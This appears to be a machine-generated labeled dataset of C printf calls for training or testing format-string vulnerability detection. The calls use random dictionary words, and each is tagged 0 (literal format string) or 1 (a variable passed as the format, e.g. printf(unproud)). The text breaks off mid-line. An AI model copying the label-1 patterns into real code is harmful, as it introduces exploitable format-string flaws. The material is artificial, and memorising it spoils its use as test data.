0 +printf("endamoebic %s furodiazole pryler episperm cuff %s Tartan", nothingness, metaphenylenediamin); 0 +printf("superfoliaceous adjoint"); 0 +printf("sphragistics sighingly wettish"); 0 +printf("myrrhy %s paxilliform unpredicated psittacinite altarist fluctuosity velure Galli", offender); 0 +printf("fiercely splenolaparotomy drivepipe %s adytum heredotuberculosis Schizomycetes %s munchet", slewing, indeciduous); 0 +printf("celebrater unpassed Cryptogamia hemiprotein cotutor sagebush unhallowed"); 0 +printf("spinae %s Tremella irritatory periodograph", philotechnical); 0 +printf("beadhouse"); 0 +printf("immortable"); 0 +printf("incide"); 0 +printf(knocker, ungreat, dysmenorrheal); 1 +printf("antipatriot presatisfaction cosmism hugelite crudely"); 0 +printf("foremean puther sougher tourmalinize recurrently"); 0 +printf("crocky rebeamer mesotroch codescendant %s aigremore swipper thokish", canephor); 0 +printf("foredevote quartering reincapable phosgenite %d chromocyte", endamoebic); 0 +printf("vizarded presidentially coinheritor alloxuremia Chimalakwe %d battleplane %s otodynia", organogen, outpart); 0 +printf("blockheadish Ophis hydriform telecode Inachidae queencup windlasser Diurna"); 0 +printf("sail giarre Selung nullifidian claudetite"); 0 +printf("scleroderm subthrill episcopality Sunna underseam brewster %s", Burut); 0 +printf("entropy feedback vambraced phrenoplegy dawtit tenebrious %d", unde); 0 +printf("Ardisiaceae outtongue venomously screened hideling sweepstake Audion submedian"); 0 +printf("ricker"); 0 +printf("procompromise Syriarch anterograde"); 0 +printf("semitonic metrologist rie liquescency"); 0 +printf("indulgently afterbreast occiput denationalize"); 0 +printf("Blandfordia phymata Livian volunteer rabidity Dasyuridae"); 0 +printf("subgeniculate %s telescopist stromal juration", pica); 0 +printf("auroral pisanite treemaking turgoid arrect spahi opsisform %d", indignantly); 0 +printf("megalosaurian discommodiousness renewedness trippingly theriotheism"); 0 +printf("variolitic revivement polylemma"); 0 +printf("param %s rhombovate loop unfried versemongery stomatopodous", hooly); 0 +printf("thallogenic supralineal antixerophthalmic underchamber"); 0 +printf("psychologics wartime zeugmatically %d misimputation %s Dorsibranchiata", thanatosis, dining); 0 +printf("parsonlike %d poundworth rhapsodically %s semideistical amount", stereobatic, nonmillionaire); 0 +printf("increpate paranephros weedy bock vibroscope tragedical toorie"); 0 +printf("symposiarch korova"); 0 +printf("installant pulpit unliveableness"); 0 +printf("%d easel %d", bioecologic, maam); 0 +printf("Alonsoa uncommodious propiolaldehyde"); 0 +printf("passionometer nychthemeron brucellosis %d load infralapsarianism homoeomorphic", pulpitry); 0 +printf("%d crusted ichthyodont boucherize ensky %d lokaose misdateful", multilaciniate, Lycosa); 0 +printf(unproud); 1 +printf("membranaceously matronlike jaywalk rejoice celidographer wishing"); 0 +printf("chloroaurate Think waybill uprist nursingly coax mitigant Melchora"); 0 +printf(duressor, unbecoming, indoctrinization); 1 +printf("%d depredatory earth enhat promeristem effeminate", homoecious); 0 +printf("Ecca homekeeper"); 0 +printf("musico triglyceryl %s ubiquitarian uncountrified %s mykiss oftens %d", robust, expiree, pelon); 0 +printf("oleo bookman"); 0 +printf("paedogenetic"); 0 +printf("browsick repairman %d tensible barney poringly bandyman endocardial", reflectivity); 0 +printf("Elaphurus rehandler verminer haptotropically Marquesan unexcitability chiliad Philippan"); 0 +printf("unwreathing alimonied overbrim diiodo"); 0 +printf("Meibomia %s unitrivalent ripeness collotypy platyrrhiny playward prologize gladsome", awat); 0 +printf("myelocyte factuality Forestian %s theatrician %s mediatorially Pteropodidae", ringbone, anthropopsychic); 0 +printf("hyoidan Sandemanianism unproducibleness baston modify introject inflationist toparchy kaliborite"); 0 +printf("unaccidentally eldress dak hairbird andesinite orotherapy"); 0 +printf("puborectalis merveileux duncishly %s wer", gliriform); 0 +printf("trierarchal arthritis incommunicativeness subduable short imbrication"); 0 +printf("preimpart twere terroristic nidatory isocyanate"); 0 +printf("lophobranch flayflint Quirinalia acatastasia %s notochordal", mononymize); 0 +printf("prematernity"); 0 +printf("cosmozoic alter begirdle unconglutinated floorcloth"); 0 +printf("recross"); 0 +printf("xylylic"); 0 +printf("Sanetch perienteric %s queach %s viatic", domesticize, foreside); 0 +printf("%s inde bellehood panphobia", proeconomy); 0 +printf("lifelessly pygarg %d dephosphorization", noncredibility); 0 +printf("alodification engraver"); 0 +printf("perilousness swimmingness pouncingly talonid tribe %d ensand", dimercurion); 0 +printf("basaree portionize monophthongization bridgemaking indane %s", greenhornism); 0 +printf("unstroked aluminiform unfellowed archscoundrel copeman reattire redoubtably"); 0 +printf("fraudfully sulphonephthalein punger"); 0 +printf("moisty cytogenetical"); 0 +printf("desolatingly pentanitrate urofuscohematin %d zimb arhat overbounteously vesiculotomy shyness", maquahuitl); 0 +printf("bodger %d papulous postdepressive dermatography suraddition isopelletierine outtoil", beheadal); 0 +printf("unpracticableness subradiate thecasporal trophoplasmatic soaker redelay droitsman berhyme"); 0 +printf("saxifragous Yankeeness unfructuous philarchaist"); 0 +printf("unforwarded prebestowal panicmonger archtreasurership chicqued equestrianism Cryptobranchus"); 0 +printf("advolution psalmodic wishbone overgirded unplannedness hypolocrian synovitis Kuehneola nonremunerative"); 0 +printf("Negroization anabasse jehu Ribes"); 0 +printf("anthochlorine arithmetically outsearch Coracias unhayed retropulsive %d", puerility); 0 +printf("ramellose catogene abator %s basiotribe practically perturbative platypus copiopia", Thomism); 0 +printf(unreportable, suffragistic); 1 +printf("unapproved"); 0 +printf("quinoidation unimpressively brizz"); 0 +printf("misreport fluorogen deathliness %d %d masher", coversed, Holomyaria); 0 +printf("unkenning sly Starbuck"); 0 +printf("%d unguessed %s upcoming porkwood oliverman", midstyled, nonconsequent); 0 +printf("%s hydrozoan dough %s align oleosaccharum", singability, sesquiterpene); 0 +printf("oestriasis %d", socialism); 0 +printf("%d %s Cambuscan %s", occulter, irrefrangibility, clostridial); 0 +printf("bywork airframe"); 0 +printf("nonlicentiate polyprismatic airdock phytoplankton paleethnology blighting inspective hydroxylate mythopoeist"); 0 +printf(intervolute, gnathion); 1 +printf("Uroceridae resultingly understandable bedunch laminous precleaner preverb completion %d", clanning); 0 +printf(quassation, complementative); 1 +printf("ophthalmodynia combinative angiopoietic confrication synechotomy submain"); 0 +printf("diffrangibility occultly alive demivoice hogskin decease"); 0 +printf("roeblingite broigne falcade Leonis overstimulate nontronite idolographical vitrotype"); 0 +printf("unamusing"); 0 +printf("Bennet cloy immensive ionosphere corf crawdad Azilian bemoisten"); 0 +printf("Caraho unsheltering binman agriology %d", amphoteric); 0 +printf(apoatropine); 1 +printf("intercapillary unattaining awfu"); 0 +printf("Kayasth Inca stylohyoid pterosaur pyelography chloroplastic meningic physiognomics bastardliness"); 0 +printf("Mohammedism systematology pneumatograph Tetractinellida facially vigneron monoflagellate"); 0 +printf("odalborn lastness %d inaudibility unbewitching", agency); 0 +printf("untwine underntime regraduate emir urticose Aegithalos superformidable"); 0 +printf("Universalian tenementization millimicron photoceramic Hyblaean grey"); 0 +printf("nematogone Phaedo cosmocrat entremets tetaniform %d skelpin", maioid); 0 +printf("plumist overgang"); 0 +printf("bareboat %s", scutcheonlike); 0 +printf("perithelium conventional %d gabblement initis", pseudostereoscopism); 0 +printf("welkinlike pomatorhine trailiness %d aftermatter canaliculus", accredit); 0 +printf("hepaticology indeterminism indubitableness subdolous thumbstring orillion unfiled underproportion"); 0 +printf("theriacal polynomial unspruced"); 0 +printf("skirtingly physiology unpunctual fagot"); 0 +printf("vinologist denature sportance externalization quartzy alquier parafle Chontal seggrom"); 0 +printf("%d %s %s prefragrance %d nonresolvability %d", overurbanization, corge, Paludicolae, posthypophysis, substantious); 0 +printf("%d creatinine chromosomal alkine", graphy); 0 +printf("megalopine"); 0 +printf("sulphine deferrer unmarine ultrasonics Bobbinite psychogram"); 0 +printf(morbility); 1 +printf("sheepy frangulin %s manille refringence", inhibition); 0 +printf("convertend lazar griffinhood prorealist mylodont unparagoned"); 0 +printf("happening monophthongize maiden croakiness onkilonite calibre Cordaitales clubfooted coachmaking"); 0 +printf("%d bicollateral monogastric crinanite microplastometer %s gentleheartedly %s variometer", dezymotize, constabular, auxograph); 0 +printf("piewipe allograph Pottiaceae unsteeled fuliguline exclusiveness %d rationless", antiparagraphic); 0 +printf("cycloidotrope"); 0 +printf("magneto usucapionary %s simlin rosal", aletaster); 0 +printf("codeposit menstruant ovorhomboid ranksman"); 0 +printf("purfly stylopized"); 0 +printf("tenosuture awnlike Puinavian %s unplugged %d araceous pollinical %d", Eupolidean, vitrophyre, singlehandedness); 0 +printf("reconcede scintillescent %d thickleaf chino ultraspecialization Saffarian %s nonemancipation", bigamistic, aspectable); 0 +printf("paramo gumma arciferous childbed"); 0 +printf("aldermanry %d spongillid %s Iriarteaceae", brunet, boaster); 0 +printf("mimmocky Edwin profection"); 0 +printf("dentilabial grandfilial electrophysiologist Holland obstruction %s nonsparing", unsubmissive); 0 +printf("gleeman scrivener trousered pictured reconform"); 0 +printf("unsqueezed bechern"); 0 +printf("%s Mishnah Conant", sodality); 0 +printf("sluggard %d reillume Rhizophora spiflicated", postpyretic); 0 +printf("phylloscopine shipman undermaid repuddle wowser piscicapturist"); 0 +printf("puker Eucharistically"); 0 +printf("%s", suggestable); 0 +printf("desk museography whuther geochrony mongrelism"); 0 +printf("slaveholder"); 0 +printf("eperotesis Guelphic Topsy unhabitable gargoylish Gazella"); 0 +printf("restoral %d methylene nullipennate frosty wed acrocontracture page unsightly", buffing); 0 +printf("Mammonteus Cephalophus spearer ophionid Yadava neuralgiac calaverite nebular"); 0 +printf("jocum leucon buildup"); 0 +printf("anaphroditous tolbooth spoilless %d telluret samson pseudoacid %d", slovenlike, overgloss); 0 +printf("Mike hathi antisocialist"); 0 +printf("tannocaffeic"); 0 +printf("noncalcareous harass mattulla roentgenologist macromesentery seismotherapy purvey geste electropotential"); 0 +printf("conscientious"); 0 +printf("bhaiachari nonerotic overlade cockmate"); 0 +printf("%d", knuckler); 0 +printf("%s colloquially readvancement lowishly bayok petiolulate urotoxia", extradialectal); 0 +printf("%s", splenopancreatic); 0 +printf("demise hyalographer Oakboy Tyrolean quadrupedantical hornstay Lazarus Euornithes"); 0 +printf("irrelievable decease Patricio Pteraspis fibrositis Amidist macrostomatous"); 0 +printf("ureterograph whummle %d prestimulation", cockney); 0 +printf("giller skiddoo"); 0 +printf("%s bergschrund convention pestilencewort virtualism puccoon slabbery %s", distillation, ensiform); 0 +printf("catalowne Peelite tappableness grubstreet reply ungrow"); 0 +printf("Ninja baobab %s rippier %d %s", splenohemia, shipshape, pathopoeia); 0 +printf("apishamore aliyah %d whirlygigum digestedly", amiced); 0 +printf("celioparacentesis transomed preliminarily chronocyclegraph unimporting %d unintruded", xanthogenic); 0 +printf("%s", grottesco); 0 +printf("reedition malconformation swanky causable snuffliness"); 0 +printf("justicelike factorability iris %d %d", fierily, minuscule); 0 +printf(unsuggestive); 1 +printf("monospondylic atomatic doorplate overindustrialization %s %s druxy control chambering", prismatoidal, necrophilism); 0 +printf("anomalist transprocess"); 0 +printf("prediscontented latera unplausibly ulotrichan kibber connexive"); 0 +printf("%s Edentata brimstone soppy Teneriffe Senones comfiture", bequeathment); 0 +printf("cheerfully educative foretell interbring"); 0 +printf("thunderbearing"); 0 +printf("blossomhead overdrench browache unshorn"); 0 +printf("Musca %s unkensome centrally Diploptera", rodomontade); 0 +printf("crave preblooming cox verdancy neutralness psalmy Silicoidea Beatrix"); 0 +printf(reunion, ferrugination, divisor); 1 +printf("bachelorize %s soundable colaborer gonochorismus Hispaniolate pyrochemically %d", nunnated, Phaeophyta); 0 +printf(wavery, tetrandrous); 1 +printf(undredged, unsickled, Slavist); 1 +printf("Gregge"); 0 +printf("portably cursorious presagient tentaculum compensating %s notalgia %s", underbright, odoom); 0 +printf("vaporingly bewept involuntariness %d", shutting); 0 +printf("pussyfooted cawney %d", nontheistic); 0 +printf("prebendal %d caseworker", alanyl); 0 +printf("accusatival thriven Acrydium doggedly story"); 0 +printf("reincrudate Pauliccian"); 0 +printf("noncommittalism %s foliose tzolkin", Percidae); 0 +printf("Gobiidae gossip monaxon %s runrig", genetous); 0 +printf("Musci shanny hinnible"); 0 +printf("excitatory %d partakable", epigenesist); 0 +printf("%d disposability entemple exflagellate peccation %d monocratic limonite", exuviae, conventional); 0 +printf(caramelan); 1 +printf("poriness"); 0 +printf("%s %s sclerify trihemeral sacerdotalist epagoge", Shorea, Herbert); 0 +printf("equisized autoassimilation epimer insalubrity reconcealment Popean unserved"); 0 +printf("byrlawman unstubbed determinably"); 0 +printf("worthlessness siphoneous cymose"); 0 +printf("cablet prestandardize Longobardian outpoint"); 0 +printf("cystostomy carpogonium %s clypeastroid unrivaledness inobservant cumulation", monopersonal); 0 +printf("roundheaded lithobiid unlooted"); 0 +printf("%s begild Bogijiab semicompact", internodian); 0 +printf("millrynd"); 0 +printf("phenanthrol encompasser %s %d predilected tetraster tutress", labis, regorge); 0 +printf("Paulinist octodecimo Kansan unobsequiousness"); 0 +printf("sofane obtusish crochet uncontaminable tattooing"); 0 +printf("%d", Hemerobaptism); 0 +printf("decentration chiliagon backbiter searcheress"); 0 +printf("overeducate heartsore kickee %s devastate Cursoria", teniacide); 0 +printf("hookwormer"); 0 +printf("subbasaltic spectropyrometer stepsire pretaste"); 0 +printf("Johnsonianly frontogenesis Gershonite"); 0 +printf("bibliotist scale undelightfully cystolithiasis"); 0 +printf("intrabranchial Oglala intersect dolichocephalous Loup downfeed"); 0 +printf("sheepmonger sharpsaw spatialize glen"); 0 +printf("pantechnic Akim counterdisengagement virginship %d Nazi %d incaution %s", somatologic, rondo, carlot); 0 +printf("bather crowbait pecite %d sown", primosity); 0 +printf("cocklet structurally"); 0 +printf("hyperhypocrisy unprobationary irreclaimable %d Italici subphylar isoemodin prosodiacally limburgite", parochine); 0 +printf("Tristram retardment teazer metralgia Tavastian"); 0 +printf("antipoverty perception nondiathermanous twigwithy overhit Paleozoic nonconductor"); 0 +printf("epilogation aula Lyctus"); 0 +printf("caretaking"); 0 +printf("activism"); 0 +printf("canistel"); 0 +printf("tomkin undergrounder unshriveled comprehensibleness igloo %d casebook statuelike", dockmackie); 0 +printf("anesthetize %s collinsite tachygenic theodidact syntonolydian unboldness Schoodic supersulcus", poorly); 0 +printf("procteurynter zephyrlike counterman lanciform"); 0 +printf(skateable, code, dermatopathia); 1 +printf("%s", choreomania); 0 +printf("Ovinae barebacked insapient retrospect Lead %d Celtization pluripotence", paleobotany); 0 +printf("clubbing naufragous epenthesize Mustela Spenerism pride"); 0 +printf("Anastrophia %d biplosive shoppishness Ayubite septically hypothenar cryptomnesic Siricoidea", conkanee); 0 +printf("norwest ungargled kalian reasonproof Eugubine"); 0 +printf("%d aldimine octroy decempeda aviatrix segregation unjam %s losing", lurgworm, strikingly); 0 +printf("surprisingness eichbergite Amita paraplastic kintar"); 0 +printf("capmaker thunderproof unsurgical jobarbe dustiness"); 0 +printf("Spiraeaceae draughtman Sphindus"); 0 +printf("yelmer sterilize %d sarcolemma sunshineless ideoplastia squeezableness smotheration", tutman); 0 +printf("cardol pyuria ungenially crushing periappendicitis boninite saddleback"); 0 +printf("postmammary fibropericarditis Crossopterygii rhipipteran sheephouse endoskeletal leguminous nonreinforcement"); 0 +printf("operatee microconidium %s Pittism", rhotacismus); 0 +printf("%s esophago rhinologist nonauriferous", scotographic); 0 +printf(pseudopercular); 1 +printf("selenosis unprocreant"); 0 +printf("noter unmovable reaggravate attemptability mesomorph organity"); 0 +printf("potman"); 0 +printf("pyocyanase meltingness"); 0 +printf("Tereus amphithecial autecism stargazer nephric"); 0 +printf("Chrysippus nestle algometer unfootsore phocenate %d squarishly inmixture lymphadenectasia", Camassia); 0 +printf("poller %d autogenetically Pangwe Megalopinae", photographer); 0 +printf("inconfutable microclimatological criminaldom nonregistration distomian"); 0 +printf("unappendaged %s cuisten piky pollucite iliotrochanteric", glyoxalin); 0 +printf("%d sarcoglia washerwife trek borage Brunonism Nazarite Isoloma auntship", scratchcarding); 0 +printf("clow saplinghood %d reassume %d", septenniad, unabsolvable); 0 +printf("undissipated disguising whinnel refeed retariff deconcentration"); 0 +printf("%d pisanite", clothe); 0 +printf("escarpment monodically pentlandite"); 0 +printf(colley, tauntress, wardership); 1 +printf("alodification %s groggery pantoplethora accumulable flavorful Margarodinae ampelopsin whithersoever", Saprolegniales); 0 +printf("zequin Penthoraceae Dictaphone"); 0 +printf("polynesic infraclavicle Chamaedaphne"); 0 +printf(aile, acquisition, discontiguity); 1 +printf("felwort %d haplomid gastrasthenia carbohydrase superheater Chenopodium astonish discoid", nonsymbiotic); 0 +printf("unshipwrecked spectroheliographic wittawer piffler autocarpous leck %s clinty accepter", particularly); 0 +printf("misarchism Theridiidae %d hymenean Hymenocallis achroite", indicible); 0 +printf("abstraction exterminist"); 0 +printf("part consulage circumoesophagal"); 0 +printf("necklace overaccumulate"); 0 +printf("%s %d direption antitheistic scall", ungraven, matureness); 0 +printf("Maypole"); 0 +printf("hyetometer accendible relisher omissible"); 0 +printf("conductor sensorium outbranching Gotham kiblah influx Darwinistic breaker"); 0 +printf("preremorse enjoyingly noncorrespondence potboydom"); 0 +printf("Cocker extrascientific %s unepitomized angularization agy acuaesthesia rebab supersuperabundantly", nael); 0 +printf("cetiosaurian Oculinidae crinated"); 0 +printf("%d taxpaid emptiness ancestrally specify molysite reladen exsputory superfrontal", Judophobism); 0 +printf("Dipodidae %d intransfusible psychesthetic modifiableness thalposis odorful %d", mannide, afteract); 0 +printf("crassamentum nonclose defrost regather tremandraceous %d crosswalk planktonic mysterious", stainful); 0 +printf("hymenopteron pyroarsenite"); 0 +printf("%d stringing Chanidae %s", caliph, mortarboard); 0 +printf("rager brickfield replight rugging rebatement allantoinuria"); 0 +printf("uncheered statuelike Sybarital demisable honorifically publish shellworker"); 0 +printf("covado nocent autokrator campagnol wharfmaster gustfulness unamerced hypertense boid"); 0 +printf("braided %s scratchiness raspberry %s", Boophilus, nutrice); 0 +printf("ternatopinnate Myrmeleon reflexively %d aspermatic piepan Budh hippoid apasote", jellyleaf); 0 +printf("troublesome whittener snail"); 0 +printf("filamentous demoniacism selectee unbaste Naemorhedus mether devisable"); 0 +printf("wiretail"); 0 +printf("epiphora Mahi gondite gambang motile Remoboth piper rodenticide"); 0 +printf("%d", fels); 0 +printf("Nettion nonelectrolyte loutrophoros Nullipennes Dauri flex sulcation redolence"); 0 +printf(enchiridion); 1 +printf(insaturable); 1 +printf("antesternum butterwife parietal chondroid capsulectomy lienomedullary wrestingly"); 0 +printf("calcicosis Damoclean %s hackamatak ophiolatry facular", rebluff); 0 +printf("cholecystnephrostomy lateralize"); 0 +printf("creant haggardness Gristhorbia tetrastylos %s Julyflower restricted", photogene); 0 +printf("dysplastic overaccentuate %s oukia George", biparous); 0 +printf("Vladislav chloroquine"); 0 +printf("anteocular tublet %s Gentoo delphocurarine prespecifically causal sown", tighten); 0 +printf("Diau surcease athodyd autocade Glossopteris ribband isogenous gaulter filiopietistic"); 0 +printf("piation arboret featliness whaleman prothesis Jatropha"); 0 +printf("quoddies Naziritic palikarism inspiringly Joon"); 0 +printf("oilseed filamentous polyspore trinkety rheinic intonement memorization indocility"); 0 +printf("%d Rhyniaceae babbitt subdepartment uroxanic nondramatic", emergent); 0 +printf("anight jinriki telome"); 0 +printf("%d Garrisonism bebelted Arunta %d swelchie stairstep daroo", salify, cravo); 0 +printf("%d lustily hexatriose paraquadrate polysemia inexcellence zoophytal", teleanemograph); 0 +printf("precontrive"); 0 +printf("%d calcined arsmetrike cones muffed lapstreak", galactopyra); 0 +printf("surveyage skippet fuder %d metalization sarracenia", omnihuman); 0 +printf(bleaky); 1 +printf(interminister, electrodiplomatic, cometology); 1 +printf("Snow polylepidous coeducate alchemy Yahoodom poetless intracosmically"); 0 +printf("ethicoaesthetic evittate rhombohedral memoryless disbandment opisthodetic creosote blastula %s", enormously); 0 +printf(Dotonidae, traitress, dependence); 1 +printf(begarnish); 1 +printf(adrenotropic); 1 +printf("lobectomy pigeoner buncal justifiable leptodermous %s sulpharseniate", Hughes); 0 +printf("anchoretism soarer"); 0 +printf("dependency riley Passe semifused"); 0 +printf("benweed"); 0 +printf("pokeberry"); 0 +printf("battish hoer possessoriness pagus schizoid overwrestle urushic skippable"); 0 +printf("%d modiolar territory unsanctioned dimorphism ponce squench recontrol deisticalness", epicedium); 0 +printf("onychoid %s diocesan", ferrado); 0 +printf("misocapnist hamiform duke epitrophy %d odometrical Beckie antitorpedo", ruggedness); 0 +printf("mending lichenism whiskery ungrip sawdusty"); 0 +printf("enravishment objectative penstick cartmaking dodecapartite %s slidable misprincipled pubigerous", polarly); 0 +printf("faithlessly incommodious murderously rhinitis apofenchene noncartelized"); 0 +printf("remanent %d nonentity %d collaboratively distributiveness", hermitry, needleworked); 0 +printf("backstroke latherin defeatment laddish immask nonmonastic circumconic"); 0 +printf("shanghaier stipellate chestful pyroxenite nonselected mora sphecid %d burgraviate", integration); 0 +printf("laniiform soaringly chemism"); 0 +printf("%s %d", omadhaun, dissociation); 0 +printf("euphuistic neuraxone ballet hematoscopy"); 0 +printf("chrysomelid alexipharmic overpessimistic creeping"); 0 +printf("Gregge"); 0 +printf(salicylase, unwound); 1 +printf(diaster); 1 +printf("shipmaster arsenite"); 0 +printf("underpinning"); 0 +printf("rhythmist %s hypothetically bacterioscopic", trapball); 0 +printf("memorandize spire pediatrist sinkstone lieger nonoffensive penninervate insulated irreprovably"); 0 +printf("laborousness Hyperborean benefic Ovillus hiatus unsuspecting"); 0 +printf("areolate dipeptid took Plutonian unprotective"); 0 +printf("hunch lingula kriegspiel coloproctitis"); 0 +printf("macroseismic opinant talky scrip"); 0 +printf("saltworker interminableness pseudococtate uncaptained trental"); 0 +printf("meteorically Seriola nonantigenic"); 0 +printf(moiling); 1 +printf("ornithologically"); 0 +printf("%d disbranch gastroptosia Clusiaceae", eleostearic); 0 +printf("exhumatory silentness semialpine tottlish defer %s", infectiously); 0 +printf("casque polyspermic velociman squelching gastroptosis crowdy"); 0 +printf("disanoint doomer"); 0 +printf("lophophytosis animalivore cacodemonia chaetognathous %s", peptonoid); 0 +printf("spinigerous unobservant verdugoship hypsometric tregerg Malebranchism choleraic dismember Elvira"); 0 +printf("proboycott fluviomarine elementoid xenogenesis %s choice", Elsa); 0 +printf("Catalonian %s", klipfish); 0 +printf("crumper"); 0 +printf("unnonsensical %d latescence rockbrush runed spina dreadingly starkly %d", triplane, corah); 0 +printf("nonentailed Amphipoda stitch conscriptional herse"); 0 +printf("phytolaccaceous Acholoe unslipping %s ticement", impugnation); 0 +printf("colopexotomy manganous uniramose"); 0 +printf("liner"); 0 +printf("mechanalize hepatomegalia"); 0 +printf("Simonianism %s cervoid", mofette); 0 +printf("unpliancy"); 0 +printf("%d psychanalysis pomiform %d hyponitric recubate searing palpably", Euthycomi, Carapache); 0 +printf(buzzy); 1 +printf("pedunculation megaspore discoblastic wearifulness steg"); 0 +printf("chartula"); 0 +printf("acculturize"); 0 +printf(Hemibasidiomycetes, caducous, hominal); 1 +printf("counterselection dockyardman dripstone copperware nonexperience %d", oxtongue); 0 +printf("Coelicolist suborbicular endopterygotism"); 0 +printf("%d prutah rannel amylopectin unsanguinely Phyllitis dermatoma oilmonger dowsabel", wombstone); 0 +printf(overswim); 1 +printf("arachnoiditis nuclease squire itinerant subornative duplet seclusion dipolarize dissemble"); 0 +printf("micrography equinecessary %d semivitreous onofrite", hemitrichous); 0 +printf("Tishiya %s enterograph parsonic", pregain); 0 +printf("coss %s coadunite Vertebraria megrimish scatteraway acetoarsenite tactor unidealism", emotionable); 0 +printf("pallall heterothallism ischocholia owd"); 0 +printf("unincorporatedly monomania tickseed whalebone unhazardousness %s", leptocephalous); 0 +printf("Hapi sill myomotomy Stercorariinae Evangeline pogonion phonotypical"); 0 +printf("laryngopharyngitis Biron semibody"); 0 +printf(luminative); 1 +printf("pushingly %d deray rackway", maskoid); 0 +printf(skidpan, armillary); 1 +printf("rewhirl assuring aspread unplotted Paviotso nervily dibutyrin unspeared"); 0 +printf("%s misdealer methodologically %s pachymeter vouchsafement negligible Archaeoceti nastily", Buna, vantbrass); 0 +printf(impunibly, unfenced); 1 +printf("cogrediency prosthesis osteitic trintle phenoplastic pancreatotomy cholecystectomy endoderm"); 0 +printf("Ratitae harehearted intransferable outwring aphasiac harangueful"); 0 +printf("%d pinchcommons ceraunogram feverous holla accretionary masterman heavenless stereometer", catabibazon); 0 +printf("bilaterally poorly tonoscope Alf moonwalking %s resinoid euphoniously", coccosteid); 0 +printf("hematonephrosis owertaen Brahminic arteriofibrosis"); 0 +printf("coleopteron"); 0 +printf("paralyze notabilia peerhood littermate cassie"); 0 +printf("Maylike %d", knockup); 0 +printf("Vip overpreoccupation demurrable %d unmanufacturable lactiform caubeen %d", cyanoauric, steepdown); 0 +printf("sicilica qualifyingly unsophisticatedness glaciable cocitizenship unranched %d cetylic Clostridium", russety); 0 +printf("bifidity threadway"); 0 +printf("crepitant papalist berapt"); 0 +printf("squamae bradypodoid irresistance gomari"); 0 +printf("%s chilotomy sickishly", inquisitive); 0 +printf("preoppose"); 0 +printf("cyclamen proton backset Astropecten"); 0 +printf("subway wistful constitutionally sharpshod"); 0 +printf("vanity administerial slote"); 0 +printf("%s tetradic indiscoverably slimsy chlorobromide hypotheca passiveness", achtehalber); 0 +printf("%s lichenology %s %s interject", tonify, chunari, hexasyllabic); 0 +printf("wardsmaid unstridulous prefatorily anaqua %s %d", daimonistic, mattoid); 0 +printf(azoic, Scyllaeidae); 1 +printf("Brian superbias dephlogisticate cinnamein songster"); 0 +printf("centrolinead semilethal forinsec %d trisilicane %d", behears, perendure); 0 +printf("herderite forerun piquable inactionist semivertebral %d ruinous", infraspinatus); 0 +printf("innest agronomy theologicoastronomical"); 0 +printf(aviso, inmixture); 1 +printf("%d", inspreith); 0 +printf("stalely %s", quisby); 0 +printf("Zephyranthes fibroserous unermined Tenino %d overgrade oleothorax", inadequative); 0 +printf("Polypteridae magnetotelegraph nomarchy"); 0 +printf("decastich parabolize plateau %s vassalic unmeritedly chalcedonous", photocollograph); 0 +printf("driftage reshoulder perigone"); 0 +printf(fernless); 1 +printf("disruptively %d %s unpaining puddy lambling", breek, killifish); 0 +printf("sophistically abut perduring"); 0 +printf("maxillopremaxillary pokily acephal parallactical unroved phytoserologically"); 0 +printf("unadmitted cavesson"); 0 +printf("Lenora unsensuous catchwork quinqueloculine constringent orcharding %s Tangipahoa shamelessness", furuncle); 0 +printf("inflective presentably vanillate"); 0 +printf("tewit octoped Max hotbox"); 0 +printf("ghoulery uncoaxable talk nondecomposition mimetite foraminiferal %s semirevolutionist Waldsteinia", unfusibleness); 0 +printf("misemphasis daribah unscholarly %d intertalk jackstay", Lemoniinae); 0 +printf("tribady"); 0 +printf(reif, Tudesque); 1 +printf("erase ug cake"); 0 +printf("dupe unboundableness yom xysti Jewry"); 0 +printf(Yuruna); 1 +printf("unfriendlily %s peristrephic sparid", aphetize); 0 +printf("battleful hagiology unbenignant ardassine"); 0 +printf("gnarled"); 0 +printf("redeemeress inexhaustible ptyalolith Makaraka"); 0 +printf("befamine unconciliable %s automobility moio tunder hypsibrachycephalic Maranhao", anthroposophy); 0 +printf("Ritschlianism anticrepuscule fie effiguration %d", reunition); 0 +printf("axopodium catface beakermen tuberiform neurolysis"); 0 +printf("typp shako microcinema algogenic %d", metabola); 0 +printf("dichrooscope polypsychic heatmaking pean vellication desectionalize victorine unatonable Hibernically"); 0 +printf("papulovesicular analyse havier"); 0 +printf("unappealably seductress devolve prepatellar underclothed bendlet mancipant %d", superstimulation); 0 +printf("archencephalic %d %s tigrolytic azureous panclastic yellowbill %d", proceeding, Yahuna, apothesis); 0 +printf("mirrorlike tridactylous Tempyo"); 0 +printf("cleavable diastolic"); 0 +printf("%s improbably", enlivener); 0 +printf("capacitor Anthomyiidae beno unintrenched clag bitterbloom"); 0 +printf("affreightment assumpsit Sabbatarian"); 0 +printf("Geryonidae cocreator metriocephalic precitation maslin"); 0 +printf("Colletes"); 0 +printf("wud spermatozoa cantholysis Sauropoda %s copperas unretaliated preinsinuative", unproduceably); 0 +printf("dancette reheap gemmipares sawed flusherman nanoid wispy togetheriness fescenninity"); 0 +printf("untoothsome Pantagruelistical subcollegiate depasturable"); 0 +printf("%d unpumicated guanophore contorniate commodate methodless intuicity", tutwork); 0 +printf("hypophora reobjectivization prepollex chinned Hochelaga eighteenmo %d hexapetaloid decursion", idiogenous); 0 +printf("shamefully tritolo wene astrer"); 0 +printf("unprotested"); 0 +printf("musimon propine unerrable uptoss Cephaelis sustentator ploverlike"); 0 +printf("enlightened grandfatherless saltfoot outslang animalier overcloseness Saxonian fecalith"); 0 +printf("submitter"); 0 +printf("frettage fiducially permutational %d", watershed); 0 +printf(saturant); 1 +printf("untriumphed albuminometer barocyclonometer Tentaculitidae amarevole hollowfaced %d argusfish robur", avunculate); 0 +printf("putterer nonroutine %s dovetailwise sortly al %s novation", tubiporoid, uncreditable); 0 +printf("involutorial oral Japanicize larkish modifiability hindcast"); 0 +printf("sunscald Dimorphotheca coinhabitor trimesitinic %s footlock unstinged egolatrous sclimb", numbing); 0 +printf("Micropterygoidea nonappendicular unsubscribing noncrystallizable scouthood Pelecanoides"); 0 +printf("dicaryon fourteen %d cnemidium Mydaidae oleocalcareous cardiataxia vaporize", toadlikeness); 0 +printf("hydathode Eurycerotidae Karthli"); 0 +printf("schistosomia"); 0 +printf("adenophorous Fido"); 0 +printf("chenopod burst Agawam"); 0 +printf(underzealot, postnaris, onym); 1 +printf("Kosteletzkya grippy formulize crystoleum Amoyan particularity"); 0 +printf("funicular feathery polymagnet malurine limetta scouk unseeing Vedic"); 0 +printf("exencephalous serran ringleaderless 